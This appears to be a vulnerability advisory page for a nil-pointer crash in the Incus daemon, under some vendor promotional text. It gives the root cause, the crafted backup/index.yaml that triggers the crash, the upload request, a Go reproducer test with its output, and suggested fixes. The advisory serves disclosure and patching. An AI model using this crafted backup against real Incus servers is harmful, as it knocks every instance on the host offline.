Miggo at BlackHat 2026!
Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Miggo AIRoot Cause AnalysisThe vulnerability is a nil-pointer dereference in the CreateInstanceFromBackup function located in internal/server/storage/backend.go. The root cause is the lack of a nil check on the srcBackup.Config.Volume object before accessing its Config field. An authenticated attacker can exploit this by uploading a specially crafted instance backup tarball where the backup/index.yaml file omits the volume configuration.
The execution flow leading to the vulnerability starts at the instancesPost API endpoint, which handles instance creation requests. This function calls createFromBackup, which performs an inadequate validation of the backup configuration, failing to ensure the Volume field is present. Subsequently, createFromBackup calls CreateInstanceFromBackup, where the nil-pointer dereference occurs, causing the Incus daemon to panic and crash, resulting in a denial of service.
The provided commit 98e64f0a6fcfdc9676eea0246418d490c53297bf fixes a similar nil-pointer dereference vulnerability in the createDependentVolumesFromBackup function, demonstrating a pattern of missing nil checks in the codebase. While this commit does not patch the primary vulnerability in CreateInstanceFromBackup, it corroborates the nature of the identified issue.
backend.CreateInstanceFromBackupinternal/server/storage/backend.go
createFromBackupcmd/incusd/instances_post.go
instancesPostcmd/incusd/instances_post.go
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| github.com/lxc/incus/v7 | go | < 7.1.0 | 7.1.0 |
yaml:"volume,omitempty"volume:nilThe panic happens on the HTTP request goroutine; no recover() is installed by CreateInstanceFromBackup or its callers, so the Go runtime kills the entire incusd process.
POST /1.0/instances?project=<p> with Content-Type: application/octet-stream.backup/index.yaml, whose config: block lists container: and pool: but omits volume:.cmd/incusd/instances_post.go instancesPost -> createFromBackup -> the line 854 guard passes (Container is non-nil) -> pool.CreateInstanceFromBackup(*bInfo, backupFile, nil) -> internal/server/storage/backend.go:795 panics on srcBackup.Config.Volume.Config[...].incusd process dies. All running operations on that cluster member are killed. Repeated requests = persistent denial of service.Minimal crafted backup/index.yaml:
name: poc
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
config:
container:
name: poc
architecture: x86_64
type: container
pool:
name: default
driver: dir
# volume intentionally absent
A self-contained Go unit test imports the real internal/server/backup/config package, decodes the crafted YAML into the actual *backupConfig.Config struct used by the daemon, and executes the literal expression from backend.go:795. The test is intentionally inert (panics are recovered and reported as the expected outcome):
// internal/poc_repro/poc_nil_deref_volume_test.go
func TestPoCNilDerefVolumeImport(t *testing.T) {
var bi pocInfo // mirrors internal/server/backup.Info, only Config is needed
loader, _ := yaml.NewLoader(strings.NewReader(evilIndex))
_ = loader.Load(&bi)
// bi.Config != nil, bi.Config.Container != nil (passes createFromBackup guard)
// bi.Config.Volume == nil (passes the line 765 guard's else branch)
defer func() { _ = recover() }()
// Literal copy of backend.go:795.
if bi.Config.Volume.Config["block.type"] == "qcow2" {
// unreachable
}
}
Result against lxc/incus@1513600 on Go 1.26.1:
=== RUN TestPoCNilDerefVolumeImport
poc_nil_deref_volume_test.go:97: yaml decoded: Container != nil (passes createFromBackup guard), Volume == nil
poc_nil_deref_volume_test.go:99: backend.go line 795 unguarded deref about to execute...
poc_nil_deref_volume_test.go:123: CONFIRMED: nil-pointer panic at the exact line as backend.go:795 => runtime error: invalid memory address or nil pointer dereference
--- PASS: TestPoCNilDerefVolumeImport (0.00s)
A tarball builder + uploader (main.go) is included in the report's PoC bundle. The tarball is 2560 bytes and contains a single 547-byte backup/index.yaml.
incusd process. Every container / VM operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until the process is restarted by an operator or supervisor.can_create permission on any project. The path is not behind the admin auth tier.:8443 (or unix socket).Mirror the guard already present on line 765 a few lines higher into the path that hits line 795. For example:
if srcBackup.Config == nil || srcBackup.Config.Volume == nil {
return nil, nil, errors.New("Backup config missing required volume metadata")
}
if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {
Alternatively, extend the existing createFromBackup precondition in cmd/incusd/instances_post.go:854 to also reject backups missing bInfo.Config.Volume. The latter is the smaller surface change and matches the pattern of CreateBucketFromBackup (backend.go:7848):
if srcBackup.Config == nil || srcBackup.Config.Bucket == nil {
return errors.New("Valid bucket config not found in index")
}
Reported via Privately-Reported Vulnerability against lxc/incus. Reporter: tonghuaroot. The reproducer test is non-destructive (no network, no filesystem mutation beyond the temp directory used by Go's test runner) and recovers the panic.